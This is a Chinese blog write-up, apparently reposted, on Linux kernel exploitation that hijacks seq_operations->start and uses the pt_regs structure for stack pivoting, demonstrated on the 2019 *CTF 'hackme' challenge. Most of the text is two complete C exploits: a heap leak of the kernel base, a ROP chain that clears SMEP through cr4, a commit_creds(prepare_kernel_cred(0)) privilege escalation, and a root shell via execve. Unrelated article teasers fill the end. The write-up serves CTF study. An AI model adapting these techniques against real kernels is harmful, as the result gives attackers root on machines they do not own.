<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
seq_operations是一個大小為0x20的結構體,在開啟/proc/self/stat會申請出來。裡面定義了四個函數指標,通過他們可以洩露出核心基地址。
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
當我們read一個stat檔案時,核心會呼叫proc_ops的proc_read_iter指標
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter) { struct seq_file *m = iocb->ki_filp->private_data; //... p = m->op->start(m, &m->index); //...
即會呼叫seq_operations->start指標,我們只需覆蓋start指標為特定gadget,即可控制程式執行流。
拿2019 *starctf hackme關閉smap來嘗試這種打法
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <sys/sem.h> #include <sys/mman.h> int fd; size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0}; struct Heap{ size_t index; char *data; size_t len; size_t offset; }; void add(int index, size_t len, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; ioctl(fd, 0x30000, &heap); } void delete(int index) { struct Heap heap; heap.index = index; ioctl(fd, 0x30001, &heap); } void edit(int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30002, &heap); } void show(int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30003, &heap); } void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[+] save the state success!"); } void get_shell() { if (getuid() == 0) { puts("[+] get root"); //system("/bin/sh"); char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } else { puts("[-] get shell error"); sleep(3); exit(0); } } void get_root(void) { //commit_creds(prepare_kernel_cred(0)); void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred; void (*cc)(void *) = (void (*)(void *))commit_creds; (*cc)((*pkc)(0)); } int main() { char buf[0x1000] = {0}; int i; size_t seq_data[4] = {0}; save_status(); fd = open("/dev/hackme",0); if(fd < 0) { puts("[-] open file error"); exit(0); } add(0, 0x20, buf); // 0 add(1, 0x20, buf); // 1 add(2, 0x20, buf); // 2 add(3, 0x20, buf); // 3 delete(0); delete(2); int fd_seq = open("/proc/self/stat", 0); if(fd_seq < 0) { puts("[-] open stat error"); exit(0); } show(3, 0x20, -0x20, buf); vmlinux_base = ((size_t *)buf)[0] - 0xd30c0; printf("[+] vmlinux_base=> 0x%lxn", vmlinux_base); off = vmlinux_base - raw_vmlinux_base; commit_creds = off + 0xffffffff8104d220; prepare_kernel_cred = off + 0xffffffff8104d3d0; show(1, 0x20, -0x20, buf); heap_base = ((size_t *)buf)[0] - 0x80; printf("[+] heap_base=> 0x%lxn", heap_base); i = 0; rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret; rop[i++] = 0x6f0; rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; rop[i++] = 0; rop[i++] = 0; rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; ((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret; edit(3, 0x20, -0x20, buf); size_t fake_stack = (heap_base + 0x40) & 0xffffffff; size_t mmap_base = fake_stack & 0xfffff000; if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base) { puts("[-] mmap error"); sleep(3); exit(0); } else puts("[+] mmap success"); memcpy((void *)fake_stack, rop, sizeof(rop)); read(fd_seq, buf, 1); return 0; }
可以寫一段如下組合來控制程式執行流,再通過將暫存器押上棧進行ROP
__asm__( "mov r15, 0x1111111111;" "mov r14, 0x2222222222;" "mov r13, 0x3333333333;" "mov r12, 0x4444444444;" "mov rbp, 0x5555555555;" "mov rbx, 0x6666666666;" "mov r11, 0x7777777777;" "mov r10, 0x8888888888;" "mov r9, 0x9999999999;" "mov r8, 0xaaaaaaaaaa;" "mov rcx, 0x666666;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, fd_seq;" "xor rax, rax;" "syscall" );
這是為什麼呢?大家都知道系統呼叫是通過佈置好暫存器的值之後執行syscall的過程,通過門結構進入到核心中的entry_SYSCALL_64函數。這個函數的內部存在這樣一條指令:
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
這個指令很巧妙,他會把所有的暫存器壓到棧上形成一個pt_regs結構體,位於核心棧底。
struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */ unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */ unsigned long orig_rax; /* Return frame for iretq */ unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; /* top of stack page */ };
這裡暫存器r8-r15都會被放到棧上,如果我們可以合理控制好這些暫存器的值,再找到一個add rsp, xxxh; ret;的暫存器放在seq_operations->start的位置,那麼就可以控制程式執行流,考慮到一般這裡棧上連續存放的暫存器一般只有4-5個
我們可以用commit_creds(&init_cred)來代替commit_creds(prepare_kernel_cred(NULL)),
佈局如下:
pop_rdi_ret; init_cred; commit_creds; swapgs_restore_regs_and_return_to_usermode;
由於我這裡並沒有能找到合適的add rsp, xxxh; ret;,故就留一個偵錯半成品exp
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <sys/sem.h> #include <sys/mman.h> int fd; size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0}; int fd_seq; struct Heap{ size_t index; char *data; size_t len; size_t offset; }; void add(int index, size_t len, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; ioctl(fd, 0x30000, &heap); } void delete(int index) { struct Heap heap; heap.index = index; ioctl(fd, 0x30001, &heap); } void edit(int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30002, &heap); } void show(int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30003, &heap); } void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[+] save the state success!"); } void get_shell() { if (getuid() == 0) { puts("[+] get root"); //system("/bin/sh"); char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } else { puts("[-] get shell error"); sleep(3); exit(0); } } void get_root(void) { //commit_creds(prepare_kernel_cred(0)); void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred; void (*cc)(void *) = (void (*)(void *))commit_creds; (*cc)((*pkc)(0)); } int main() { char buf[0x1000] = {0}; int i; size_t seq_data[4] = {0}; save_status(); fd = open("/dev/hackme",0); if(fd < 0) { puts("[-] open file error"); exit(0); } add(0, 0x20, buf); // 0 add(1, 0x20, buf); // 1 delete(0); fd_seq = open("/proc/self/stat", 0); if(fd_seq < 0) { puts("[-] open stat error"); exit(0); } show(1, 0x20, -0x20, buf); vmlinux_base = ((size_t *)buf)[0] - 0xd30c0; printf("[+] vmlinux_base=> 0x%lxn", vmlinux_base); off = vmlinux_base - raw_vmlinux_base; commit_creds = off + 0xffffffff8104d220; prepare_kernel_cred = off + 0xffffffff8104d3d0; size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret; ((size_t *)buf)[0] = gadget; edit(1, 0x20, -0x20, buf); __asm__( "mov r15, 0x1111111111;" "mov r14, 0x2222222222;" "mov r13, 0x3333333333;" "mov r12, 0x4444444444;" "mov rbp, 0x5555555555;" "mov rbx, 0x6666666666;" "mov r11, 0x7777777777;" "mov r10, 0x8888888888;" "mov r9, 0x9999999999;" "mov r8, 0xaaaaaaaaaa;" "mov rcx, 0x666666;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, fd_seq;" "xor rax, rax;" "syscall" ); return 0; }
以上就是kernel利用pt_regs劫持seq_operations的遷移過程詳解的詳細內容,更多關於kernel劫持遷移的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45